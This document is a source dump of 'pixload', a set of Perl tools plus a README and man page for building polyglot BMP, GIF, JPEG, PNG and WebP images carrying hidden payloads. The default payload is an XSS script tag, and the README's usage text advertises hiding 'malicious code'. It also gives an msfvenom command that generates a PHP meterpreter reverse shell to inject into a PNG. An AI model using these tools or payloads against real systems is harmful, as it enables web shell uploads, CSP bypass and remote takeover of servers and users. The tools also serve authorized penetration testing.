 44 | 
 45 | As mentioned above, there is no injection support into existing file: the
 46 | new I<FILE> will be created.
 47 | 
 48 | =back
 49 | 
 50 | I<DQT> injection must come in handy in case when the server application
 51 | processes images and removes comments, application-specific data, etc.
 52 | 
 53 | Default is I<COM>.
 54 | 
 55 | =item B<-P>, B<--payload> I<STRING>
 56 | 
 57 | Set payload for injection. Default is C<< <script src=//example.com></script> >>.
 58 | 
 59 | =item B<-v>, B<--version>
 60 | 
 61 | Print version and exit.
 62 | 
 63 | =item B<-h>, B<--help>
 64 | 
 65 | Print help and exit.
 66 | 
 67 | =back
 68 | 
 69 | =head1 EXAMPLES
 70 | 
 71 | =head2 Inject payload into I<COM> section
 72 | 
 73 |   $ pixload-jpg -S com payload.jpg
 74 |   ..... JPEG Payload Creator/Injector ......
 75 |   ..........................................
 76 |   ... https://github.com/sighook/pixload ...
 77 |   ..........................................
 78 | 
 79 |   [>] Generating output file
 80 |   [✔] File saved to: payload.jpg
 81 | 
 82 |   [>] Injecting payload into COMMENT
 83 |   [✔] Payload was injected successfully
 84 | 
 85 |   payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
 86 | 
 87 |   00000000  ff d8 ff fe 00 25 3c 73  63 72 69 70 74 20 73 72  |.....%<script sr|
 88 |   00000010  63 3d 2f 2f 65 78 61 6d  70 6c 65 2e 63 6f 6d 3e  |c=//example.com>|
 89 |   00000020  3c 2f 73 63 72 69 70 74  3e ff db 00 43 00 01 01  |</script>...C...|
 90 |   00000030  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
 91 |   *
 92 |   00000060  01 01 01 01 01 01 01 01  01 01 01 01 01 01 ff c2  |................|
 93 |   00000070  00 0b 08 00 01 00 01 01  01 11 00 ff c4 00 14 00  |................|
 94 |   00000080  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
 95 |   00000090  03 ff da 00 08 01 01 00  00 00 01 3f ff d9        |...........?..|
 96 |   0000009e
 97 | 
 98 | =head2 Inject payload into I<DQT> table
 99 | 
100 |   $ pixload-jpg -S dqt payload.jpg
101 |   ..... JPEG Payload Creator/Injector ......
102 |   ..........................................
103 |   ... https://github.com/sighook/pixload ...
104 |   ..........................................
105 | 
106 |   [>] Generating output file
107 |   [✔] File saved to: payload.jpg
108 | 
109 |   [>] Generating output file
110 |   [✔] File saved to: payload.jpg
111 | 
112 |   [>] Injecting payload into DQT table
113 |   [✔] Payload was injected succesfully
114 | 
115 |   payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
116 | 
117 |   00000000  ff d8 ff db 00 43 00 01  01 01 01 01 01 01 01 01  |.....C..........|
118 |   00000010  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
119 |   00000020  01 01 01 01 3c 73 63 72  69 70 74 20 73 72 63 3d  |....<script src=|
120 |   00000030  2f 2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f  |//example.com></|
121 |   00000040  73 63 72 69 70 74 3e ff  c2 00 0b 08 00 01 00 01  |script>.........|
122 |   00000050  01 01 11 00 ff c4 00 14  00 01 00 00 00 00 00 00  |................|
123 |   00000060  00 00 00 00 00 00 00 00  00 03 ff da 00 08 01 01  |................|
124 |   00000070  00 00 00 01 3f ff d9                              |....?..|
125 |   00000077
126 | 
127 | =head1 SEE ALSO
128 | 
129 | L<pixload-bmp(1)|https://github.com/sighook/pixload/blob/master/pixload-bmp.1.pod>,
130 | L<pixload-gif(1)|https://github.com/sighook/pixload/blob/master/pixload-gif.1.pod>,
131 | L<pixload-png(1)|https://github.com/sighook/pixload/blob/master/pixload-png.1.pod>,
132 | L<pixload-webp(1)|https://github.com/sighook/pixload/blob/master/pixload-webp.1.pod>
133 | 
134 | =cut
135 | 


--------------------------------------------------------------------------------
/pixload-jpg.in:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | #
  3 | # JPEG Payload Creator/Injector
  4 | #
  5 | # coded by sighook <alexandr.savca89@gmail.com>
  6 | #
  7 | # See LICENSE file for copyright and license details.
  8 | #
  9 | 
 10 | use strict;
 11 | use warnings;
 12 | use feature 'say';
 13 | 
 14 | use POSIX;
 15 | use Getopt::Long qw(:config no_ignore_case);
 16 | use File::Basename;
 17 | 
 18 | use constant PROGRAM => basename $0;
 19 | use constant VERSION => '@VERSION@';
 20 | 
 21 | use Image::ExifTool ':Public';
 22 | 
 23 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 24 | #                              Default options                                #
 25 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 26 | 
 27 | my %opts = (
 28 |     section     => 'COM',
 29 |     payload     => '<script src=//example.com></script>',
 30 | );
 31 | 
 32 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 33 | #                                Subroutines                                  #
 34 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 35 | 
 36 | 
 37 | sub create_jpg {
 38 |     say "[>] Generating output file";
 39 | 
 40 |     sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
 41 |     syswrite   $fh, "\xff\xd8";                                # SOI
 42 |     syswrite   $fh, "\xff\xdb";                                # DQT
 43 |     syswrite   $fh, pack('S>', 67);                            # DQT SIZE
 44 |     syswrite   $fh, "\x00" . "\x01" x 64;                      # DQT DATA
 45 |     syswrite   $fh, "\xff\xc2";                                # SOF
 46 |     syswrite   $fh, "\x00\x0b";                                # SOF SIZE
 47 |     syswrite   $fh, "\x08\x00\x01\x00\x01\x01\x01\x11\x00";    # SOF DATA
 48 |     syswrite   $fh, "\xff\xc4";                                # DHT
 49 |     syswrite   $fh, "\x00\x14";                                # DHT SIZE
 50 |     syswrite   $fh, "\x00\x01\x00\x00\x00\x00\x00\x00\x00".    # DHT DATA
 51 |                     "\x00\x00\x00\x00\x00\x00\x00\x00\x03";
 52 |     syswrite   $fh, "\xff\xda";                                # SOS
 53 |     syswrite   $fh, "\x00\x08";                                # SOS SIZE
 54 |     syswrite   $fh, "\x01\x01\x00\x00\x00\x01\x3f";            # SOS DATA
 55 |     syswrite   $fh, "\xff\xd9";                                # EOI
 56 | 
 57 |     close      $fh;
 58 | 
 59 |     say "[✔] File saved to: $opts{FILE}\n";
 60 | }
 61 | 
 62 | sub inject_payload_com {
 63 |     say "[>] Injecting payload into COMMENT";
 64 | 
 65 |     my $exifTool = Image::ExifTool->new;
 66 | 
 67 |     $exifTool->SetNewValue('Comment', $opts{payload})
 68 |         or die "[✘] Fail to SetNewValue\n";
 69 | 
 70 |     $exifTool->WriteInfo($opts{FILE})
 71 |         or die "[✘] Fail to WriteInfo\n";
 72 | 
 73 |     say "[✔] Payload was injected successfully\n";
 74 | }
 75 | 
 76 | sub inject_payload_dqt {
 77 |     say "[>] Injecting payload into DQT table";
 78 | 
 79 |     my $payload_len = length $opts{payload};
 80 | 
 81 |     sysopen my $fh, $opts{FILE}, O_WRONLY;
 82 |     sysseek    $fh, (7 + (64 - $payload_len)), SEEK_SET;
 83 |     syswrite   $fh, $opts{payload};
 84 |     close      $fh;
 85 | 
 86 |     say "[✔] Payload was injected succesfully\n";
 87 | }
 88 | 
 89 | sub banner {
 90 |     <<EOF;
 91 | ..... JPEG Payload Creator/Injector ......
 92 | ..........................................
 93 | ... https://github.com/sighook/pixload ...
 94 | ..........................................
 95 | EOF
 96 | }
 97 | 
 98 | sub usage {
 99 |     <<"EOF";
100 | Usage: @{[ PROGRAM ]} [OPTION]... FILE
101 | Hide Payload/Malicious Code in JPEG images.
102 | 
103 | Mandatory arguments to long options are mandatory for short options too.
104 |   -S, --section COM|DQT         set section for payload injection
105 |   -P, --payload STRING          set payload for injection
106 |   -v, --version                 print version and exit
107 |   -h, --help                    print help and exit
108 | 
109 | If the output FILE already exists, then payload will be injected into this
110 | existing file. Otherwise, the new one will be created.
111 | EOF
112 | }
113 | 
114 | sub version {
115 |     PROGRAM . " " . VERSION;
116 | }
117 | 
118 | sub main {
119 |     # command-line options
120 |     GetOptions(
121 |         'h|help!'     =>  \$opts{help},
122 |         'v|version!'  =>  \$opts{version},
123 |         'S|section=s' =>  \$opts{section},
124 |         'P|payload=s' =>  \$opts{payload},
125 |     ) or die "$!\n";
126 | 
127 |     $opts{FILE} = shift @ARGV;
128 | 
129 |     say &usage    and  exit(0) if   $opts{help};
130 |     say &version  and  exit(0) if   $opts{version};
131 |     say &usage    and  exit(1) if ! $opts{FILE};
132 | 
133 |     say &banner;
134 |     &create_jpg if ! -f $opts{FILE};
135 | 
136 |     if    (uc $opts{section} eq 'COM') {
137 |         &create_jpg if ! -f $opts{FILE};
138 |         &inject_payload_com;
139 |     }
140 |     elsif (uc $opts{section} eq 'DQT') {
141 |         die "The payload size must not exceed 64 bytes!\n"
142 |             if length($opts{payload}) > 64;
143 | 
144 |         &create_jpg; # FIXME: overwrites file content
145 |         &inject_payload_dqt;
146 |     }
147 |     else {
148 |         die "-s, --section option argument must be COM or DQT!\n";
149 |     }
150 | 
151 |     if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }
152 | 
153 |     if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
154 |     elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
155 | }
156 | 
157 | &main;
158 | 
159 | # vim:sw=4:ts=4:sts=4:et:cc=80
160 | # End of file.
161 | 


--------------------------------------------------------------------------------
/pixload-png.in:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | #
  3 | # PNG Payload Creator/Injector
  4 | #
  5 | # coded by sighook <alexandr.savca89@gmail.com>
  6 | # credits to Brian de Heus <https://github.com/briandeheus>
  7 | #
  8 | # See LICENSE file for copyright and license details.
  9 | #
 10 | 
 11 | use strict;
 12 | use warnings;
 13 | no  warnings 'redefine';
 14 | 
 15 | use feature  'say';
 16 | 
 17 | use POSIX;
 18 | use Getopt::Long qw(:config no_ignore_case);
 19 | use File::Basename;
 20 | 
 21 | use constant PROGRAM => basename $0;
 22 | use constant VERSION => '@VERSION@';
 23 | 
 24 | use GD;
 25 | use String::CRC32;
 26 | 
 27 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 28 | #                             Default Options                                 #
 29 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 30 | 
 31 | my %opts = (
 32 |     pixelwidth      =>  32,
 33 |     pixelheight     =>  32,
 34 |     payload         =>  '<script src=//example.com></script>',
 35 | );
 36 | 
 37 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 38 | #                                Subroutines                                  #
 39 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
 40 | 
 41 | sub systell {
 42 |     sysseek $_[0], 0, SEEK_CUR
 43 | }
 44 | 
 45 | sub rewind {
 46 |     sysseek $_[0], systell($_[0]) - $_[1], SEEK_CUR
 47 | }
 48 | 
 49 | sub create_png {
 50 |     say "[>] Generating output file";
 51 | 
 52 |     my $img = GD::Image->new(
 53 |         $opts{pixelwidth},
 54 |         $opts{pixelheight},
 55 |         # set 1 to TrueColor (24 bits of color data), default is 8-bit palette
 56 |         1,
 57 |     );
 58 | 
 59 |     my $color = $img->colorAllocate(0, 0, 0);
 60 | 
 61 |     $img->setPixel(0, 0, $color);
 62 | 
 63 |     sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
 64 |     syswrite   $fh, $img->png;
 65 |     close      $fh;
 66 | 
 67 |     say "[✔] File saved to: $opts{FILE}\n";
 68 | }
 69 | 
 70 | sub inject_payload {
 71 |     say "[>] Injecting payload into $opts{FILE}\n";
 72 | 
 73 |     sysopen our $fh, $opts{FILE}, O_RDWR;
 74 | 
 75 |     # check if outfile is PNG to prevent infinite loop
 76 |     {
 77 |         my $format;
 78 |         sysseek     $fh, 1, SEEK_SET;
 79 |         sysread     $fh, $format, 3;
 80 | 
 81 |         die "ERROR: $opts{FILE} is not a PNG file.\n"
 82 |             if $format ne "PNG";
 83 |     }
 84 | 
 85 |     sysseek     $fh, 8, SEEK_SET;
 86 | 
 87 |     sub read_chunks {
 88 |         *read_next_chunk = \&read_chunks;
 89 | 
 90 |         my ($chunk_size, $chunk_type, $content, $crc);
 91 | 
 92 |         sysread $fh, $chunk_size, 4;
 93 |         sysread $fh, $chunk_type, 4;
 94 | 
 95 |         $chunk_size = unpack('I>', $chunk_size);
 96 | 
 97 |         say "[+] Chunk size: $chunk_size";
 98 |         say "[+] Chunk type: $chunk_type";
 99 | 
100 |         return if $chunk_type eq 'IEND';
101 | 
102 |         sysread $fh, $content, $chunk_size;
103 |         sysread $fh, $crc, 4;
104 | 
105 |         say '[+] CRC: ' . unpack('H8', $crc);
106 | 
107 |         &read_next_chunk;
108 |     }
109 |     &read_chunks;
110 | 
111 |     rewind   $fh, 8;
112 | 
113 |     say "\n[>] Inject payload to the new chunk: 'pUnk'";
114 | 
115 |     # chunk size
116 |     syswrite $fh, (pack 'I>', length $opts{payload});
117 | 
118 |     # chunk name: PUnK (critical)
119 |     syswrite $fh, "\x50\x55\x6e\x4b";
120 | 
121 |     syswrite $fh, $opts{payload};
122 | 
123 |     syswrite $fh, (pack 'I>', crc32('IEND' . $opts{payload}));
124 | 
125 |     syswrite $fh, "\x00IEND";
126 | 
127 |     close    $fh;
128 | 
129 |     say "[✔] Payload was injected successfully\n";
130 | }
131 | 
132 | sub banner {
133 |     <<EOF;
134 | ...... PNG Payload Creator/Injector ......
135 | ..........................................
136 | ... https://github.com/sighook/pixload ...
137 | ..........................................
138 | EOF
139 | }
140 | 
141 | sub usage {
142 |     <<"EOF";
143 | Usage: @{[ PROGRAM ]} [OPTION]... FILE
144 | Hide Payload/Malicious Code in PNG Images.
145 | 
146 | Mandatory arguments to long options are mandatory for short options too.
147 |   -W, --pixelwidth  INTEGER   set pixel width for the new image (default: 32)
148 |   -H, --pixelheight INTEGER   set pixel height for the new image (default: 32)
149 |   -P, --payload STRING        set payload for injection
150 |   -v, --version               print version and exit
151 |   -h, --help                  print help and exit
152 | 
153 | If the output FILE already exists, then payload will be injected into this
154 | existing file. Else, the new one will be created with specified pixels wide.
155 | EOF
156 | }
157 | 
158 | sub version {
159 |     PROGRAM . " " . VERSION . " ";
160 | }
161 | 
162 | sub main {
163 |     # command line options
164 |     GetOptions(
165 |         'h|help!'         =>  \$opts{help},
166 |         'v|version!'      =>  \$opts{version},
167 |         'P|payload=s'     =>  \$opts{payload},
168 |         'W|pixelwidth=i'  =>  \$opts{pixelwidth},
169 |         'H|pixelheight=i' =>  \$opts{pixelheight},
170 |     ) or die "$!\n";
171 | 
172 |     $opts{FILE} = shift @ARGV;
173 | 
174 |     say &usage    and  exit(0)  if   $opts{help};
175 |     say &version  and  exit(0)  if   $opts{version};
176 |     say &usage    and  exit(1)  if ! $opts{FILE};
177 | 
178 |     say &banner;
179 | 
180 |     &create_png if ! -f $opts{FILE};
181 |     &inject_payload;
182 | 
183 |     if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }
184 | 
185 |     if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
186 |     elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
187 | }
188 | 
189 | main;
190 | 
191 | # vim:sw=4:ts=4:sts=4:et:cc=80
192 | # End of file.
193 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
  1 | # pixload -- Image Payload Creating tools
  2 | 
  3 | ## DESCRIPTION
  4 | 
  5 | Set of tools for ~~hiding backdoors~~ creating/injecting payload into images.
  6 | 
  7 | The following image types are currently supported: BMP, GIF, JPG, PNG, WebP.
  8 | 
  9 | #### about
 10 | 
 11 | Useful references for better understanding of `pixload` and its use-cases:
 12 | 
 13 | - [Bypassing CSP using polyglot JPEGs](https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs)
 14 | 
 15 | - [Hacking group using Polyglot images to hide malvertising attacks](https://web.archive.org/web/20190226193728/https://devcondetect.com/blog/2019/2/24/hacking-group-using-polyglot-images-to-hide-malvertsing-attacks)
 16 | 
 17 | - [Encoding Web Shells in PNG IDAT chunks](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 18 | 
 19 | - [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/)
 20 | 
 21 | - [Revisiting XSS payloads in PNG IDAT chunks](https://www.adamlogue.com/revisiting-xss-payloads-in-png-idat-chunks/)
 22 | 
 23 | If you want to encode a payload in such a way that the resulting binary blob is
 24 | both valid x86 shellcode and a valid image file, I recommend you to look
 25 | [here](https://web.archive.org/web/20201008001325/https://warroom.securestate.com/bmp-x86-polyglot/)
 26 | and
 27 | [here](https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/bmp_polyglot.rb).
 28 | 
 29 | #### msfvenom
 30 | 
 31 | If you want to inject a metasploit payload, you have to do something like this:
 32 | 
 33 | 1. Create metasploit payload (i.e. php).
 34 | ```sh
 35 | $ msfvenom -p php/meterpreter_reverse_tcp \
 36 | 	LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php
 37 | ```
 38 | 
 39 | 2. Edit `payload.php` if needed.
 40 | 
 41 | 3. Inject `payload.php` into the image (i.e. png).
 42 | ```sh
 43 | $ pixload-png --payload "$(cat payload.php)" payload.png
 44 | ```
 45 | 
 46 | ## SETUP
 47 | 
 48 | ##### Dependencies
 49 | 
 50 | The following Perl modules are required:
 51 | 
 52 |   * GD
 53 | 
 54 |   * Image::ExifTool
 55 | 
 56 |   * String::CRC32
 57 | 
 58 | On `Debian-based` systems install these packages:
 59 | 
 60 | ```sh
 61 | sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl
 62 | ```
 63 | 
 64 | On `FreeBSD` and `DragonFlyBSD` install these packages:
 65 | ```sh
 66 | doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32
 67 | ```
 68 | 
 69 | On `OSX` please refer to [this workaround](https://github.com/sighook/pixload/issues/3)
 70 | (thnx 2 @iosdec).
 71 | 
 72 | ##### Build and Install
 73 | 
 74 | ```sh
 75 | make install
 76 | ```
 77 | 
 78 | #### Docker
 79 | 
 80 | ```sh
 81 | docker build -t pixload .
 82 | docker run -v "$(pwd):/pixload" -it --rm pixload
 83 | ```
 84 | 
 85 | ## TOOLS
 86 | 
 87 | ### pixload-bmp
 88 | 
 89 | ##### Help
 90 | 
 91 | ```sh
 92 | $ pixload-bmp --help
 93 | ```
 94 | 
 95 | ```
 96 | Usage: pixload-bmp [OPTION]... FILE
 97 | Hide Payload/Malicious Code in BMP Images.
 98 | 
 99 | Mandatory arguments to long options are mandatory for short options too.
100 |   -P, --payload STRING   set payload for injection
101 |   -v, --version          print version and exit
102 |   -h, --help             print help and exit
103 | 
104 | If the output FILE already exists, then payload will be injected into this
105 | existing file. Otherwise, the new one will be created.
106 | ```
107 | 
108 | ##### Example
109 | 
110 | ```sh
111 | $ pixload-bmp payload.bmp
112 | ```
113 | 
114 | ```
115 | ...... BMP Payload Creator/Injector ......
116 | ..........................................
117 | ... https://github.com/sighook/pixload ...
118 | ..........................................
119 | 
120 | [>] Generating output file
121 | [✔] File saved to: payload.bmp
122 | 
123 | [>] Injecting payload into payload.bmp
124 | [✔] Payload was injected successfully
125 | 
126 | payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 x 24, cbSize 10799, bits offset 26
127 | 
128 | 00000000  42 4d 2f 2a 00 00 00 00  00 00 1a 00 00 00 0c 00  |BM/*............|
129 | 00000010  00 00 01 00 01 00 01 00  18 00 00 00 ff 00 2a 2f  |..............*/|
130 | 00000020  3d 31 3b 3c 73 63 72 69  70 74 20 73 72 63 3d 2f  |=1;<script src=/|
131 | 00000030  2f 65 78 61 6d 70 6c 65  2e 63 6f 6d 3e 3c 2f 73  |/example.com></s|
132 | 00000040  63 72 69 70 74 3e 3b                              |cript>;|
133 | 00000047
134 | ```
135 | 
136 | See [pixload-bmp(1)](https://github.com/sighook/pixload/blob/master/pixload-bmp.1.pod)
137 | manual page for more information.
138 | 
139 | ### pixload-gif
140 | 
141 | ##### Help
142 | 
143 | ```sh
144 | $ pixload-gif --help
145 | ```
146 | 
147 | ```
148 | Usage: pixload-gif [OPTION]... FILE
149 | Hide payload/malicious code in GIF images.
150 | 
151 | Mandatory arguments to long options are mandatory for short options too.
152 |   -W, --pixelwidth  INTEGER   (has no effect)
153 |                               set pixel width for the new image (default: 10799)
154 |   -H, --pixelheight INTEGER   set pixel height for the new image (default: 32)
155 |   -P, --payload     STRING    set payload for injection
156 |   -v, --version               print version and exit
157 |   -h, --help                  print help and exit
158 | 
159 | The option -W, --pixelwidth has no effect since pixload-gif rewrites
160 | pixel width bytes with "/*" characters, to prepare the polyglot gif image.
161 | 
162 | If the output FILE already exists, then the payload will be injected into this
163 | existing file. Otherwise, the new one will be created with specified pixels
164 | wide.
165 | ```
166 | 
167 | ##### Example
168 | 
169 | ```sh
170 | $ pixload-gif payload.gif
171 | ```
172 | 
173 | ```
174 | ...... GIF Payload Creator/Injector ......
175 | ..........................................
176 | ... https://github.com/sighook/pixload ...
177 | ..........................................
178 | 
179 | [>] Generating output file
180 | [✔] File saved to: payload.gif
181 | 
182 | [>] Injecting payload into payload.gif
183 | [✔] Payload was injected successfully
184 | 
185 | payload.gif: GIF image data, version 87a, 10799 x 32
186 | 
187 | 00000000  47 49 46 38 37 61 2f 2a  20 00 80 00 00 04 02 04  |GIF87a/* .......|
188 | 00000010  00 00 00 2c 00 00 00 00  20 00 20 00 00 02 1e 84  |...,.... . .....|
189 | 00000020  8f a9 cb ed 0f a3 9c b4  da 8b b3 de bc fb 0f 86  |................|
190 | 00000030  e2 48 96 e6 89 a6 ea ca  b6 ee 0b 9b 05 00 3b 2a  |.H............;*|
191 | 00000040  2f 3d 31 3b 3c 73 63 72  69 70 74 20 73 72 63 3d  |/=1;<script src=|
192 | 00000050  2f 2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f  |//example.com></|
193 | 00000060  73 63 72 69 70 74 3e 3b                           |script>;|
194 | 00000068
195 | ```
196 | See [pixload-gif(1)](https://github.com/sighook/pixload/blob/master/pixload-gif.1.pod)
197 | manual page for more information.
198 | 
199 | ### pixload-jpg
200 | 
201 | ##### Help
202 | 
203 | ```sh
204 | $ pixload-jpg --help
205 | ```
206 | 
207 | ```
208 | Usage: pixload-jpg [OPTION]... FILE
209 | Hide Payload/Malicious Code in JPEG images.
210 | 
211 | Mandatory arguments to long options are mandatory for short options too.
212 |   -S, --section COM|DQT         set section for payload injection
213 |   -P, --payload STRING          set payload for injection
214 |   -v, --version                 print version and exit
215 |   -h, --help                    print help and exit
216 | 
217 | If the output FILE already exists, then payload will be injected into this
218 | existing file. Otherwise, the new one will be created.
219 | ```
220 | 
221 | ##### Examples
222 | 
223 | 1. Inject payload into comment section:
224 | 
225 | ```sh
226 | $ pixload-jpg -S com payload.jpg
227 | ```
228 | 
229 | ```
230 | ..... JPEG Payload Creator/Injector ......
231 | ..........................................
232 | ... https://github.com/sighook/pixload ...
233 | ..........................................
234 | 
235 | [>] Generating output file
236 | [✔] File saved to: payload.jpg
237 | 
238 | [>] Injecting payload into COMMENT
239 | [✔] Payload was injected successfully
240 | 
241 | payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
242 | 
243 | 00000000  ff d8 ff fe 00 25 3c 73  63 72 69 70 74 20 73 72  |.....%<script sr|
244 | 00000010  63 3d 2f 2f 65 78 61 6d  70 6c 65 2e 63 6f 6d 3e  |c=//example.com>|
245 | 00000020  3c 2f 73 63 72 69 70 74  3e ff db 00 43 00 01 01  |</script>...C...|
246 | 00000030  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
247 | *
248 | 00000060  01 01 01 01 01 01 01 01  01 01 01 01 01 01 ff c2  |................|
249 | 00000070  00 0b 08 00 01 00 01 01  01 11 00 ff c4 00 14 00  |................|
250 | 00000080  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
251 | 00000090  03 ff da 00 08 01 01 00  00 00 01 3f ff d9        |...........?..|
252 | 0000009e
253 | ```
254 | 
255 | 2. Inject payload into DQT table:
256 | 
257 | ```sh
258 | $ pixload-jpg -S dqt payload.jpg
259 | ```
260 | 
261 | ```
262 | ..... JPEG Payload Creator/Injector ......
263 | ..........................................
264 | ... https://github.com/sighook/pixload ...
265 | ..........................................
266 | 
267 | [>] Generating output file
268 | [✔] File saved to: payload.jpg
269 | 
270 | [>] Injecting payload into DQT table
271 | [✔] Payload was injected succesfully
272 | 
273 | payload.jpg: JPEG image data, progressive, precision 8, 1x1, components 1
274 | 
275 | 00000000  ff d8 ff db 00 43 00 01  01 01 01 01 01 01 01 01  |.....C..........|
276 | 00000010  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
277 | 00000020  01 01 01 01 3c 73 63 72  69 70 74 20 73 72 63 3d  |....<script src=|
278 | 00000030  2f 2f 65 78 61 6d 70 6c  65 2e 63 6f 6d 3e 3c 2f  |//example.com></|
279 | 00000040  73 63 72 69 70 74 3e ff  c2 00 0b 08 00 01 00 01  |script>.........|
280 | 00000050  01 01 11 00 ff c4 00 14  00 01 00 00 00 00 00 00  |................|
281 | 00000060  00 00 00 00 00 00 00 00  00 03 ff da 00 08 01 01  |................|
282 | 00000070  00 00 00 01 3f ff d9 01  01 11 00 ff c4 00 14 00  |....?...........|
283 | 00000080  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
284 | 00000090  03 ff da 00 08 01 01 00  00 00 01 3f ff d9        |...........?..|
285 | 0000009e
286 | ```
287 | 
288 | See [pixload-jpg(1)](https://github.com/sighook/pixload/blob/master/pixload-jpg.1.pod)
289 | for more information.
290 | 
291 | ### pixload-png
292 | 
293 | ##### Help
294 | 
295 | ```sh
296 | $ pixload-png --help
297 | ```
298 | 
299 | ```
300 | Usage: pixload-png [OPTION]... FILE
301 | Hide Payload/Malicious Code in PNG Images.
302 | 
303 | Mandatory arguments to long options are mandatory for short options too.
304 |   -W, --pixelwidth  INTEGER   set pixel width for the new image (default: 32)
305 |   -H, --pixelheight INTEGER   set pixel height for the new image (default: 32)
306 |   -P, --payload STRING        set payload for injection
307 |   -v, --version               print version and exit
308 |   -h, --help                  print help and exit
309 | 
310 | If the output FILE already exists, then payload will be injected into this
311 | existing file. Else, the new one will be created with specified pixels wide.
312 | ```
313 | 
314 | ##### Example
315 | 
316 | ```sh
317 | $ pixload-png payload.png
318 | ```
319 | 
320 | ```
321 | ...... PNG Payload Creator/Injector ......
322 | ..........................................
323 | ... https://github.com/sighook/pixload ...
324 | ..........................................
325 | 
326 | [>] Generating output file
327 | [✔] File saved to: payload.png
328 | 
329 | [>] Injecting payload into payload.png
330 | 
331 | [+] Chunk size: 13
332 | [+] Chunk type: IHDR
333 | [+] CRC: fc18eda3
334 | [+] Chunk size: 9
335 | [+] Chunk type: pHYs
336 | [+] CRC: 952b0e1b
337 | [+] Chunk size: 25
338 | [+] Chunk type: IDAT
339 | [+] CRC: c8a288fe
340 | [+] Chunk size: 0
341 | [+] Chunk type: IEND
342 | 
343 | [>] Inject payload to the new chunk: 'pUnk'
344 | [✔] Payload was injected successfully
345 | 
346 | payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
347 | 
348 | 00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
349 | 00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
350 | 00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
351 | 00000030  c4 01 95 2b 0e 1b 00 00  00 19 49 44 41 54 48 89  |...+......IDATH.|
352 | 00000040  ed c1 31 01 00 00 00 c2  a0 f5 4f ed 61 0d a0 00  |..1.......O.a...|
353 | 00000050  00 00 6e 0c 20 00 01 c8  a2 88 fe 00 00 00 00 49  |..n. ..........I|
354 | 00000060  45 4e 44 ae 42 60 82 00  00 00 00 00 00 00 00 00  |END.B`..........|
355 | 00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
356 | *
357 | 000000c0  00 23 50 55 6e 4b 3c 73  63 72 69 70 74 20 73 72  |.#PUnK<script sr|
358 | 000000d0  63 3d 2f 2f 65 78 61 6d  70 6c 65 2e 63 6f 6d 3e  |c=//example.com>|
359 | 000000e0  3c 2f 73 63 72 69 70 74  3e eb fd 2e 9f 00 49 45  |</script>.....IE|
360 | 000000f0  4e 44                                             |ND|
361 | 000000f2
362 | ```
363 | 
364 | See [pixload-png(1)](https://github.com/sighook/pixload/blob/master/pixload-png.1.pod)
365 | manual page for more information.
366 | 
367 | ### pixload-webp
368 | 
369 | ##### Help
370 | 
371 | ```sh
372 | $ pixload-webp --help
373 | ```
374 | 
375 | ```
376 | Usage: pixload-webp [OPTION]... FILE
377 | Hide payloads/malicious code in WebP images.
378 | 
379 | Mandatory arguments to long options are mandatory for short options too.
380 |   -P, --payload STRING   set payload for injection
381 |   -v, --version          print version and exit
382 |   -h, --help             print help and exit
383 | 
384 | Currently, there is no possibility to inject the payload into an existing
385 | WebP image. Only the new (minimal) WebP image will be created and your
386 | payload will be injected into. If the output FILE already exists, the
387 | payload will be injected into the existing image, but this image will be
388 | corrupted.
389 | ```
390 | 
391 | ##### Example
392 | 
393 | ```sh
394 | $ pixload-webp payload.webp
395 | ```
396 | 
397 | ```
398 | ..... WebP Payload Creator/Injector ......
399 | ..........................................
400 | ... https://github.com/sighook/pixload ...
401 | ..........................................
402 | 
